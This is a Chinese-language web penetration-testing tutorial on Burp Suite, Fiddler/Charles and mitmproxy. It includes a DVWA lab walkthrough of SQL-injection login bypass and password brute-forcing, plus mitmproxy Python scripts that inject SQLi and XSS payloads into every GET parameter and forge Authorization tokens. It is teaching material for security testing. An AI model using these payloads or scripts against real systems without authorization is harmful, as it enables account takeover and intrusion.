一、BurpSuite 基础与高级使用
Burp Suite 是一款中间人攻击代理工具,核心作用是在客户端(浏览器)与服务器之间"插一脚",拦截一切 HTTP/HTTPS 流量,从而修改、重放、注入或自动化分析。
它不仅是抓包工具,还是渗透测试平台,适合用来:
-
做权限绕过
-
做Web风险点利用
-
做脚本注入调试
-
做自动化攻击编排
1.1 Burp Suite 基础模块详解
1)Proxy(代理模块)------抓包与拦截的起点
功能:
-
拦截浏览器与服务器之间的请求/响应
-
可对请求参数、响应内容进行修改
使用步骤:
-
设置浏览器 HTTP 代理为
127.0.0.1:8080
-
开启 Burp -> Proxy -> Intercept is ON
-
拦截任意请求 → 修改后点击 Forward 放行
-
若不想中断,可设置 Intercept is OFF
实战应用:
-
拦截登录请求,修改密码字段绕过验证
-
删除前端传入的
isAdmin=false
字段 -
手动构造数据包测试 API 行为
2)HTTP history(请求历史)------复盘与分析
-
记录所有经过代理的请求和响应
-
支持条件过滤(如 Method、URL、Status)
实战用途:
-
查找是否有敏感接口被调用
-
分析页面加载过程中的静态资源/API 请求
-
检查 Token 变化与重定向逻辑
3)Repeater(请求重放)------测试点单步调试器
-
可重复发送修改后的请求
-
实时查看响应差异
使用方式:
右键请求 → Send to Repeater → 修改 → Send → 查看响应
实战场景:
-
修改参数测试 SQLi/XSS 是否触发
-
重放登录请求,构造越权访问
-
验证某个 Cookie 是否控制权限
4)Intruder(爆破/模糊测试)------自动打 payload 的引擎
用于将 payload 注入指定位置进行批量测试,支持 4 种攻击方式:
模式 | 说明 |
---|---|
Sniper | 单点爆破,适合单参数 |
Battering ram | 所有位置使用同一个 payload |
Pitchfork | 多参数并行使用不同 payload |
Cluster bomb | 多参数组合爆破(笛卡尔积) |
实战用法:
-
登录爆破(用户名/密码字典)
-
参数 fuzz 测试(XSS payload、SQL 注入)
-
利用响应长度/内容判断成功与否
5)Decoder(编码解码器)------还原隐藏信息的工具
-
支持 base64、URL 编码、HTML 编码等
-
可多次嵌套编码或解码
实战例子:
-
解密加密参数分析加密结构
-
构造多层编码 XSS payload 绕过过滤
-
还原 URL 参数还原真实意图
6)Comparer(差异对比器)
用于对比两个请求或响应,找出字节级别或词级别差异。
1.2 Burp Suite 高级使用详解
1)自动化爬虫(Crawler)------自动遍历整个站点
位置:Dashboard > Crawl and Audit
(Pro 版)
-
自动抓取所有页面、表单、JS 路由等
-
可结合自动化风险点扫描器
使用技巧:
-
先设置 Scope,防止越权抓取
-
登录后再启动爬虫,抓取授权区域
-
可结合 session rule 保持登录状态
2)Scope(作用范围)------设定目标边界
避免爬虫/拦截干扰第三方域名(如 CDN、支付接口)
操作:**Target > Scope > Add
**添加目标站点域名
3)Macros + Session Handling Rules(自动登录维持)------保持攻击不中断
-
定义 Macro 自动重登录(抓包 -> 构建登录流程)
-
设置 Rule,失效自动触发 Macro
典型用途:
-
防止登录态过期
-
自动化扫描 + 爆破时无缝保持会话
4)插件扩展(Burp Extender)------功能无限放大器
支持 Java、Jython、Python 插件扩展,可加载:
-
官方 BApp Store 插件
-
自定义逻辑脚本
常用插件(详细讲解见下节):
-
Autorize(越权检测)
-
Hackvertor(动态编码)
-
Reflector(快速发现反射点)
-
Logger++(高级日志记录)
5)被动扫描 + 主动扫描(Pro 专享)------自动找洞神器
自动发现 XSS、SQLi、CSRF 等风险点
-
被动扫描:只分析已发送的请求
-
主动扫描:构造 payload 测试是否存在风险点
1.3 Burp Suite 的实战操作案例
案例 1:使用 Burp 拦截 + 重放 DVWA 登录请求(手动尝试绕过)
目标:
-
使用 Burp 拦截登录请求,分析参数结构
-
使用 Repeater 重放登录请求,尝试构造注入绕过登录
准备:
-
DVWA 安装好并启动
-
浏览器设置代理为**
127.0.0.1:8080
** -
Burp Suite 启动并开启拦截(Proxy → Intercept → ON)
步骤详解:
Step 1:登录 DVWA,触发拦截
-
打开浏览器,进入
http://localhost/DVWA/login.php
-
输入任意用户名密码(如 admin / admin)
-
点击"Login"后,Burp Suite 会拦截该请求
此时请求应如下:
bash
POST /DVWA/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: ...
username=admin&password=admin&Login=Login
Step 2:观察请求参数结构
你会看到三个参数:
-
username
:用户名 -
password
:密码 -
Login
:按钮值
Step 3:修改参数尝试 SQL 注入绕过
-
将
username
修改为:admin'--
-
将
password
留空或随便填 -
点击
Forward
放行请求
请求变为:
bash
username=admin'-- &password=test&Login=Login
Step 4:观察响应结果(是否登录成功)
-
如果 DVWA 安全级别为 Low,你会发现直接跳转到首页(
index.php
),说明登录成功。 -
如果未成功,请尝试其他 payload:
-
admin'#
-
admin' OR '1'='1
-
Step 5:发送请求到 Repeater,便于反复测试
-
在 Proxy 中右键请求 →
Send to Repeater
-
转到 Repeater 面板
-
修改参数,不断尝试绕过
-
点击 Send → 查看响应
案例 2:使用 Burp Intruder 对登录页面进行密码爆破
目标:
使用 Intruder 模块对 DVWA 登录页面进行弱口令爆破(如 admin/123456
)
准备:
-
DVWA 环境打开,设置安全等级为 Low
-
浏览器登录页面输入用户名 + 任意密码 → 触发请求并在 Burp 中拦截
步骤详解:
Step 1:抓取一次正常登录请求
-
在登录页面填写:
-
用户名:
admin
-
密码:
xxx
-
-
拦截请求如下:
bash
POST /DVWA/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
username=admin&password=xxx&Login=Login
Step 2:将请求发送到 Intruder
-
右键 →
Send to Intruder
-
转到 Intruder 标签页
Step 3:设置爆破位置
-
清除自动标记的 payload
-
手动选择
xxx
(密码字段) → 点击 "Add" -
设置攻击类型为:
Sniper
(只爆破一个点)
Step 4:导入爆破字典
-
点击 "Payloads" 标签页
-
选择 Payload set: 1
-
载入字典(可使用常见弱口令,如:123456, admin123, password, letmein)
示例手动输入:
bash
123456
admin123
password
letmein
123123
Step 5:开始攻击
-
点击 "Start attack"
-
查看响应结果差异(可关注 Status、Length、Response)
观察:
- 有些请求返回长度不一样,或响应中出现
Welcome
等关键词,说明爆破成功!
二、BurpSuite 插件系统
2.1 [Autorize] ------ 自动化越权测试神器
作用: Autorize 用于检测 权限控制不严导致的越权访问风险点。比如:
-
普通用户能访问管理员接口
-
未登录状态可以访问已登录用户接口
典型场景:
-
你已经抓到了某个已登录请求
-
想知道如果换成另一个用户或未登录状态,是否还可以访问
使用流程:
Step 1:安装插件
- Burp →
Extender
→BApp Store
→ 安装 Autorize
Step 2:配置测试账号的 Cookie
-
登录正常账号,复制 Cookie(或完整 Header)
-
在插件面板中粘贴进:
- "Your original request cookies/header"
-
然后清除 Cookie(或登录其他角色)
Step 3:监听目标请求
-
在 Burp 的 Proxy / Repeater 中抓取需要测试权限的请求
-
右键 →
Send to Autorize
Step 4:查看结果
插件会对这些请求使用原始身份、无身份、新身份依次测试,并返回:
-
Access Control enforced(权限检查正常)
-
Access Control Bypassed(权限绕过成功)
注意:
-
支持 POST/GET/JSON 等请求格式
-
可配合 Scope 限定检测范围
2.2 [Hackvertor] ------ 编码解码 + Payload 编排插件
作用: Hackvertor 是 Burp 中最强大的 数据转换插件,用于自动:
-
编码 / 解码(HTML、JS、Base64、Hex)
-
加密 / 解密
-
组合 Payload 链(绕过前端过滤)
使用流程:
Step 1:安装插件
- Burp →
Extender
→BApp Store
→ 安装 Hackvertor
Step 2:使用语法转义
- 可以在 Repeater 或 Intruder 参数中直接使用 Hackvertor 标记:
bash
§username§=admin&password=§H[base64]§password123§H[end]§
这个请求发送时会自动将 password123
转为 base64。
常见用途:
用途 | Hackvertor 语法 |
---|---|
Base64 编码 | H[base64]dataH[end] |
URL 编码 | H[urle]dataH[end] |
Unicode 编码 | H[unicode]dataH[end] |
HTML 编码 | H[html]dataH[end] |
多层嵌套 | H[base64]H[urle]xss_payloadH[end]H[end] |
实战场景:
-
绕过前端 JS 检查或 WAF 过滤
-
构造多层编码 payload(如 base64 + unicode + html)
-
联合 Intruder 自动 Fuzz 编码组合攻击
2.3 [JS Miner] ------ 提取 JavaScript 中的有用信息
**作用:**JS Miner 会自动提取目标网站 JavaScript 中的:
-
API 接口
-
参数名
-
密钥/Token
-
正则规则
-
敏感关键词
使用流程:
Step 1:安装插件
- Burp →
Extender
→BApp Store
→ 安装 JS Miner
Step 2:访问目标网站
-
Burp 自动监听所有加载的 JS 文件
-
JS Miner 会自动分析其中内容
Step 3:查看分析结果
-
**
JS Miner
**标签下查看所有提取内容:-
API endpoints
-
JWT / API keys
-
Variables
-
Regex Patterns
-
实战用途:
目标 | 用法 |
---|---|
提取隐藏接口 | 分析 JS 脚本中定义的接口路径 |
识别参数名 | 用于构造请求 |
获取 token | 某些 APP/WAF 在 JS 中藏有签名密钥 |
找到行为特征 | 抓取正则验证逻辑,辅助绕过验证 |
注意事项:
-
适用于大型 Web 应用,尤其是 SPA 或 React/Vue 应用
-
可配合 Spider / Crawler 抓取所有 JS 文件
2.4 [Reflector] ------ 自动检测反射点(XSS 助攻神器)
作用: Reflector 可以自动标记请求中哪些参数值被服务器 "原样返回" 到了响应页面中,是 XSS 的重要前置判断。
使用流程:
Step 1:安装插件
- Burp →
Extender
→BApp Store
→ 安装 Reflector
Step 2:抓包测试
-
抓取一个包含参数的请求(比如
q=abc
) -
Burp 会自动检测
abc
是否在响应中原样出现
Step 3:查看高亮
-
Reflector 自动高亮哪些参数被反射
-
如果
abc
出现在 HTML、JS、URL 中 → 有 XSS 可能
实战用途:
功能 | 用法 |
---|---|
辅助 XSS | 快速定位反射参数 |
识别响应点 | 判断 payload 该注入哪 |
和 Intruder 联动 | 用于 Fuzz 所有参数是否会反射回页面 |
示例:
输入请求:
bash
GET /search?q=test123
页面响应中出现:
html
<h1>You searched for test123</h1>
→ Reflector 会高亮这个参数,标记为 潜在反射点
2.5 小结
插件名 | 作用 | 实战用途 |
---|---|---|
Autorize | 权限绕过检测 | 检测未授权访问、权限控制失效 |
Hackvertor | 编码/混淆 payload | 绕过 WAF、组合攻击链 |
JS Miner | 提取 JS 中信息 | 接口/密钥发现、参数识别 |
Reflector | 自动检测反射点 | 辅助 XSS 检测、快速定位反射参数 |
三、Fiddler / Charles
工具 | 系统 | 优势 | 劣势 |
---|---|---|---|
Fiddler | Windows(主打),mac 有旧版 | 功能全、强大、脚本扩展多、免费 | UI 旧、不太适合 mac |
Charles | macOS 和 Windows | 稳定、UI 美观、适合抓 APP | 收费、功能略弱 |
两者本质都是:HTTP/HTTPS 代理工具
3.1 核心原理
代理模式 + SSL 中间人 + 请求/响应可视化 + 修改重发
-
本地启动一个 HTTP 代理服务(如 127.0.0.1:8888)
-
浏览器或手机设置为通过代理访问网络
-
工具截获请求并解密(HTTPS 需安装自签证书)
-
展示请求头、响应、正文、Cookie、参数等
-
可修改后重放请求(如用于测试接口、绕过验证)
3.2 Fiddler 基础使用
1)安装和设置
-
安装后打开,默认监听
127.0.0.1:8888
2)设置浏览器代理
-
浏览器手动设置为使用 Fiddler 代理
127.0.0.1:8888
-
或使用自动配置(Fiddler 自动修改系统代理)
3)启用 HTTPS 解密
-
打开菜单
Tools → Options → HTTPS
-
勾选**
Decrypt HTTPS traffic
** -
安装证书(默认只对浏览器有效)
4)抓包界面介绍
区域 | 内容 |
---|---|
左侧列表 | 所有请求记录(按时间) |
右侧 Inspector | 请求/响应内容(Headers、Raw、JSON 等) |
Composer | 自定义请求(构造接口测试) |
AutoResponder | 自动响应自定义内容(适合绕过验证) |
5)手机抓包配置(以安卓为例)
-
手机和电脑连接同一局域网
-
手机代理设为电脑 IP + 8888 端口
-
访问
http://电脑IP:8888
安装 Fiddler 证书 -
安卓 7+ 要安装证书到系统信任(需 Root 或 Magisk 模块)
6)常见功能使用
-
过滤器(Filter):只显示某个域名请求
-
重放请求(Replay):右键某个请求 → Replay → Reissue Request
-
修改请求参数:点击 Composer → 粘贴请求 → 修改参数发起
7)实战用途
场景 | 说明 |
---|---|
抓取 APP 接口 | 配置手机代理后抓包分析接口参数 |
登录分析 | 拿到 token、cookie 模拟登录 |
自动化爬虫 | 配合 Python/JS 重复请求接口 |
绕过前端限制 | 直接发起构造好的请求绕过 JS 验证 |
替换参数 | 自定义 payload 测试 SQL/XSS/命令注入 |
3.3 Charles 基础使用
1)下载与安装
-
mac 强烈推荐 Charles(兼容好,证书处理简洁)
2)配置代理
-
启动 Charles 默认监听
127.0.0.1:8888
-
浏览器设置为代理即可抓包
-
打开
Proxy → macOS Proxy
一键开启/关闭代理
3)HTTPS 抓包配置
-
Help → SSL Proxying → Install Charles Root Certificate
-
导入后 → 信任该证书(系统 → 钥匙串 → 永久信任)
4)手机抓包
-
手机与电脑同一 Wi-Fi
-
手机代理设置为电脑 IP + 8888
-
手机访问
http://charlesproxy.com/getssl
安装证书 -
手动信任证书(安卓高版本需 Root)
5)实战功能
功能 | 描述 |
---|---|
Structure / Sequence | 显示按域名或时间排序请求 |
Request → Edit & Resend | 修改请求参数,测试接口 |
Breakpoints | 手动中断请求修改后再发 |
Map Local | 替换远程文件为本地文件(如替换 JS) |
Throttle | 模拟网络延迟、丢包等 |
3.4 对比总结
功能 | Fiddler | Charles |
---|---|---|
系统适配 | Windows 更强 | mac 更方便 |
HTTPS 抓包 | 稳定但略麻烦 | 一键配置 |
APP 抓包 | 支持 | 支持 |
本地替换文件 | 插件支持 | Map Local 很方便 |
编程扩展 | 支持 C#/脚本 | 较弱 |
UI | 偏工程化 | 更直观 |
四、Mitmproxy + Python 自动攻击脚本编写
4.1 Mitmproxy 简介
-
Mitmproxy 是一个开源的、基于命令行的 HTTPS 代理工具,支持实时拦截、修改 HTTP/HTTPS 流量。
-
其核心优势是支持用 Python 脚本(addons) 实现自动化处理:拦截、篡改请求和响应,自动注入攻击 payload,快速测试风险点。
-
适合自动化测试、渗透测试、调试 API、自动绕过防护。
4.2 Mitmproxy 安装和基本使用
bash
pip install mitmproxy
- 启动代理(默认端口 8080):
bash
mitmproxy
- 或无界面模式(更适合自动化):
bash
mitmdump
4.3 Python 脚本(Addon)结构
一个最简单的 Mitmproxy 脚本示例:
python
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
# 该函数会在每次客户端发出 HTTP 请求时被调用
if "example.com/api/login" in flow.request.url:
# 如果请求的 URL 包含指定的接口路径,则进行处理
# 替换请求体中的内容,把 "password=123" 改为 "password=abc123"
flow.request.text = flow.request.text.replace("password=123", "password=abc123")
- 核心函数:
函数名 | 说明 |
---|---|
request(flow) |
请求发送前拦截 |
response(flow) |
响应到客户端前拦截 |
websocket_message(flow) |
Websocket 消息处理 |
4.4 自动攻击脚本示范
1)自动注入 SQL 注入 payload 测试所有 GET 请求参数
python
from mitmproxy import http
from urllib.parse import parse_qs, urlencode, urlsplit, urlunsplit
# SQL 注入 payload,可以根据需要修改
sql_payload = "' OR '1'='1"
def request(flow: http.HTTPFlow) -> None:
# 仅处理 GET 请求
if flow.request.method == "GET":
url_parts = urlsplit(flow.request.url) # 拆解 URL 各部分
query = parse_qs(url_parts.query) # 解析 query 参数为字典 {key: [value1, value2]}
modified = False
for k in query:
# 给每一个参数值都追加 SQL 注入 payload
query[k] = [v + sql_payload for v in query[k]]
modified = True
if modified:
# 重新编码 query 参数
new_query = urlencode(query, doseq=True)
# 组装新的 URL
new_url = urlunsplit((
url_parts.scheme,
url_parts.netloc,
url_parts.path,
new_query,
url_parts.fragment
))
# 替换请求中的 URL
flow.request.url = new_url
# 控制台输出修改结果
print(f"[*] Modified URL: {flow.request.url}")
效果: 自动对所有 GET 参数注入经典 SQL 注入测试 payload。
2)自动绕过登录 token 校验,给请求头注入伪造 token
python
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
# 判断请求 URL 是否包含特定接口路径
if "api/secure" in flow.request.url:
# 注入伪造的 Authorization 头部
flow.request.headers["Authorization"] = "Bearer faketoken123456"
# 控制台打印提示
print("[*] Injected fake token into Authorization header")
3)自动检测并利用反射型 XSS(简单示范)
python
from mitmproxy import http
# 定义 XSS 测试 Payload
xss_payload = "<script>alert('xss')</script>"
def request(flow: http.HTTPFlow) -> None:
# 仅处理 GET 请求,且 URL 中包含参数名 "q="
if flow.request.method == "GET" and "q=" in flow.request.url:
# 简单方式:直接拼接 Payload(注:可能会破坏原有参数结构)
flow.request.url += xss_payload
# 控制台打印提示
print(f"[*] Injected XSS payload into {flow.request.url}")
4.5 综合示例:自动扫描 + 自动攻击流程
python
from mitmproxy import http # 导入 mitmproxy 的 HTTP 模块
from urllib.parse import parse_qs, urlencode, urlsplit, urlunsplit # 导入用于解析与重构 URL 的工具函数
# Payload 定义
sql_payload = "' OR '1'='1" # SQL 注入测试 Payload
xss_payload = "<script>alert('xss')</script>" # XSS 注入测试 Payload
def request(flow: http.HTTPFlow) -> None: # 定义请求处理函数,每次请求都会触发
url = flow.request.url # 获取当前请求的完整 URL 字符串
# 分析 URL,仅处理 GET 请求
if flow.request.method == "GET": # 如果请求方法是 GET
url_parts = urlsplit(url) # 使用 urlsplit 分解 URL,返回 scheme、netloc、path、query、fragment
query = parse_qs(url_parts.query) # 解析 query 字符串为字典:{key: [value1, value2]}
modified = False # 标记是否进行了参数修改
for k in query: # 遍历每一个参数名
# 注入 SQL payload(拼接到原始值后)
query[k] = [v + sql_payload for v in query[k]] # 将每个值后加上 SQL 注入 Payload
modified = True # 标记已修改
# 如果参数名是 q,追加 XSS payload(进一步注入)
if k == "q": # 特殊处理参数名为 q 的
query[k] = [v + xss_payload for v in query[k]] # 在已注入 SQL 的基础上继续注入 XSS
# 如果确实修改过参数,则重新构造新的 URL
if modified: # 如果参数被修改
new_query = urlencode(query, doseq=True) # 重新编码 query 字符串,doseq=True 保留列表参数
new_url = urlunsplit((url_parts.scheme, url_parts.netloc, url_parts.path, new_query, url_parts.fragment))
# 使用修改后的 query 与原始 scheme/netloc/path/fragment 重新组装 URL
flow.request.url = new_url # 把新 URL 赋值回 flow 中,覆盖原始请求 URL
print(f"[*] Injected payloads into URL: {flow.request.url}") # 打印修改后的 URL 供调试
# Authorization Header 注入绕过
if "api/secure" in flow.request.url: # 如果当前请求 URL 中包含 api/secure(表示需要授权)
flow.request.headers["Authorization"] = "Bearer faketoken123456" # 添加/替换请求头中的 Authorization 字段
print("[*] Injected fake token for auth bypass") # 打印提示,说明已注入伪造 token
4.6 运行脚本示范
bash
mitmdump -s your_script.py
-
启动后将自动监听 8080 端口
-
你配置浏览器或设备代理到 127.0.0.1:8080
-
所有流量经过脚本自动处理,实现自动攻击
4.7 小结
优点 | Mitmproxy + Python |
---|---|
灵活 | 可用 Python 自定义各种攻击流程 |
自动化 | 实现无人工干预的批量攻击与测试 |
跨平台 | Windows、Linux、Mac 都支持 |
轻量 | 纯命令行,适合服务器跑脚本 |